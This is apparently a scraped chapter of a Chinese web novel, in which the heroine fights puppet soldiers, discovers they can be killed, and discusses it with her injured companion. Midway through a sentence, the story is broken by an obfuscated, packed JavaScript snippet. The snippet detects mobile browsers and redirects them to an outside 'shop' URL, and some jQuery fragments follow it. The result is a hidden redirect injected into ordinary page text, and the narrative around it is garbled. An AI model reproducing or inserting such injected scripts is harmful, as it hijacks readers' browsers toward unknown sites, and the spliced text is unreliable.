39. 第三十九章
作品:《阴湿男鬼求爱手册》 柳新辞想都没有多想,直接跟了上去。
这么多年,红烛还是按照最初的办法去锻炼那些傀儡,他们将无辜的百姓捉来,帮上链子,在日复一日的殴打下,产生一种听到红烛的某种指令,便会下意识做出反应,即使后面被做成傀儡也会受到这个指令的影响。这也是为什么除了皇上指定的人之外,红烛中人还能够控制傀儡的原因。
不过这个办法跟最原始的控制办法始终都有差异,只能治标不治本。
一个人将鞭子挥打在另一个人身上,不管是打人的、还是被打的,就像一个没有感情的傀儡,麻木地实施暴行、或者,接受暴行。
柳新辞心头一惊,纵身跳下,接住了即将挥下去的鞭子。
她抬眸,看到了李无欺,或者说,蛮月。
“你是故意引我前来的?”柳新辞的手心隐隐作痛。
李无欺偏过头,她依旧带着那副面具,有些好奇地打量着柳新辞。
“护法大人,您似乎与以前不一样了。”李无欺冷漠地笑了笑,“从前的你,可不会多管闲事我们的死活。”
柳新辞沉默了,她大抵能够明白李无欺的意思,她在怪她,柳新辞没有救她。
不过很快,柳新辞调整过来,柳新辞做事情,还需要同外人解释吗?
“成王败寇,我能饶你一条命,你就已经要感恩戴德了。”
李无欺点点头,拍了拍手:“好,感恩戴德,没错,这才是柳新辞,铁血无情的柳新辞,我还担心你会不会因为那个杨抑该改变心性,没想到,杨抑在你心中不过尔尔。”
“你想做什么?”李无欺一跃,轻巧地落在柳新辞跟前,在她身上闻了闻,笑道,“你身上有她的味道。”
柳新辞:“……”
怎么这么恶心?
这李无欺之前还装的像一个人,但是现在为什么突然又不装了?还没等柳新辞想明白,就听到李无欺继续说道:“护法大人是不是在想,我为什么索性不装了?”
她能猜透柳新辞心里的想法?
柳新辞一惊,手中的飞镖做成的匕首已经蠢蠢欲动,恨不得立马将眼前的人送下去与李成梦姐妹团聚。
李无欺淡然地笑了笑:“护法不用紧张,我不会读心术,只是护法越来越不会藏起自己的情绪了,我在你身上闻到了怨恨的味道。”
变/态。
柳新辞在心里骂道。
“你到底想做什么?”柳新辞冷冷地问道。
李无欺笑了笑:“告诉你了我还怎么玩?”
柳新辞眉头紧皱,觉得眼前的女人已经疯了。
下一刻,只听到一阵急促的笛子声音,刚刚还在“有序”完成傀儡制作流程的人突然暴怒,怒吼,一声声嘶吼声此起彼伏,连带着不知道从哪里穿来的风,撕扯着傀儡们的衣摆,让他们越来越不像一个人。
柳新辞:“……”
又来。
这些傀儡逐渐褪去了人皮,瞳孔只剩下白瞳,争先恐后地朝柳新辞冲来。
她刚刚才跟李成梦打了一场,现在面对密密麻麻的傀儡显然有些吃力,一个飞镖刚刚飞出去,还没有来得及收回,就被一个傀儡抓伤,柳新辞的手臂被挖出来一条长长的伤口,要是再深一点,怕是连柳新辞的骨头都要掏出来。
鲜血直流。
可是柳新辞来不及管自己的伤口,一脚将傀儡踢开,可是傀儡们前仆后继,饶是柳新辞武功如何盖世,在一连受到重创的情况下也不能以一敌百,很快柳新辞败下阵来。
李无欺站在最高处,她的眼眸中翻滚着怨恨,似乎是想要置柳新辞于死地。
但是很快,她就像是突然想起什么一样,突然清明过来,飞到柳新辞身边,将一根针稳稳地插/进一个傀儡的头里。紧接着,只是一掌,便将傀儡打得再也起不了身。周围的傀儡似乎是察觉到了危险,一改刚刚凶恶残暴的模样,此时都像鹌鹑一样乖乖缩在角落。
柳新辞被李无欺的一掌惊呆了,她不可置信地看着李无欺,却也没有搞明白李无欺在想什么。
李无欺淡淡地撇了柳新辞一眼,不甚满意地离开了。
李无欺走后,这些傀儡也突然没有了生气,重新变得麻木,而刚刚被李无欺攻击的傀儡却再也没能起来,倒在了地上,死不瞑目。
这些傀儡,是可以被“杀死”的。
柳新辞恍然大悟,之前她一直觉得傀儡就是天下无敌的,因为他们不死不活,只会听从主人的命令去攻击,除非被打碎切块,否则就是永无止尽,但是刚刚李无欺只用了一招就将傀儡制服。
是因为那根针?
柳新辞凑上去,看到傀儡头上不过是插/着一根极小的绣花针,上面并没有什么特别的东西,于是,只见柳新辞突然模仿李无欺的功夫,往旁边一个傀儡头上插/去,那个傀儡一愣,随后就像没有感觉一样,继续埋头干活。
这是为什么?论武功造诣,天下没有谁能比得上柳新辞,为什么李无欺可以做到一招毙命,而柳新辞却不可以。
紧接着,柳新辞又按照同样的办法,或用内力疏导、或用蛮力,就差没把傀儡的头盖骨打开看看了,依旧没有任何收获。
这些傀儡反而差点被柳新辞激怒。
她不是柳鸣行做出来的,最厉害的傀儡吗,为什么这些傀儡非但不听她的,反而,还目中无人。
尝试了好几次之后,柳新辞放弃了,她将针收起来,按照原路返回,回到了杨抑的房间。
一路上,柳新辞都在回忆李无欺的功夫,难不成是自己漏掉了什么细节?
没等她想明白,杨抑的房间就已经到了。
杨抑依旧躺在床上,半点没有要醒来的痕迹,柳新辞吩咐了阿瞳几句,便默默地坐在杨抑面前。
他的伤很重,就算这里有治疗杨抑的办法,也不能长久地在这里呆着,可是一时半会,柳新辞想不通李无欺的想法。
在柳新辞被傀儡所伤的时候,她明显是看到了李无欺眼里透
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239463|197570||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
露出来的疯狂的喜悦,甚至有一点大仇得报的愉悦,但是最后,李无欺不但没有杀她,甚至还教她如何对付这些傀儡。
日子一天天过去,柳新辞也在这个时候被李无欺各种找茬对付了一通,每次都在柳新辞受伤后、反应不过来的时候,救柳新辞一命。而杨抑也在养伤,他一天的时间大多数的时候都在睡觉,偶尔醒过来,听柳新辞讲的事情。
“你是说,李无欺可能是在训练你?”杨抑一副见鬼了的不可思议模样,“她们到底是图什么?专门给自己培养一个老大,按照你说的,李无欺完全就可以用这些傀儡保护红烛,又怎么专门做这一场局是为了什么?”
柳新辞给杨抑剥橘子,柳新辞没有反应过来,边说边将橘子往杨抑手上塞,杨抑诚惶诚恐地接住,到没想到,自己受伤了居然还有这种待遇。
他迫不及待地塞了一口,虽然这个橘子酸得掉牙,但是杨抑却还是囫囵吞枣般地全部吃了干净,甚至还觉得柳新辞给自己剥橘子甚是辛苦,自己的心里也甚是甜蜜。
柳新辞没有注意到杨抑这里插曲,一心扑在这些傀儡上。
这么多天过去了,柳新辞还是没有找到对付这些傀儡的办法。
“阿辞,会不会是我们忽略了某种细节,比如说,她们之前不是还用香料控制傀儡吗?说不定这只是一个专门对付你的手段?”
柳新辞摇头:“不可能,我特意试探了李无欺,她身上没有任何香料。”
杨抑默了默,他也听说了柳新辞用遍了所有办法都没有办法彻底杀死傀儡的事情,但是有一个可能性,杨抑不敢猜想,话在嘴边,又重新吞了回去。
按照之前李成梦的说法,就是这些傀儡是具有慕强性的,他们要找到最强的傀儡,要么打败她,要么臣服她,这些傀儡在柳新辞没有来之前基本都是平等的,因此斗争并不激烈,但是如果某个傀儡能够杀了柳新辞,那么这个傀儡就会吸收柳新辞身上的毒素,叠加,成为最强的傀儡。
但是现在,这个规律被人为地破坏,也可以说,有人在给柳新辞“开小灶”,“保送”柳新辞成为傀儡中最强的人,而这些傀儡是为了给最强的傀儡柳新辞练手用的,只有让柳新辞找到杀死傀儡的办法,才能够顺理成章地让柳新辞成为傀儡之主。
李无欺每天都在重复同一个动作,平平无奇,没有一点参考价值,但是,那些看不见的东西呢?比如说,毒素。
道生一,一生二,二生三,三生万物。(注)
这些毒素本质上是一种最根本的毒素诞生出来的,不管改进、繁衍多少代,最根本的东西就是在柳新辞这个傀儡毒之源身上。
见杨抑沉思,柳新辞心中隐隐有些不好的预感。
“你想到了什么?”柳新辞问道。
杨抑默了默,还是没有说话。
柳新辞现在身体状态已经有些不好了,要是强行催动毒素,那她只会疯的更快,他不能用柳新辞冒险。
“杨抑,别瞒着我。”

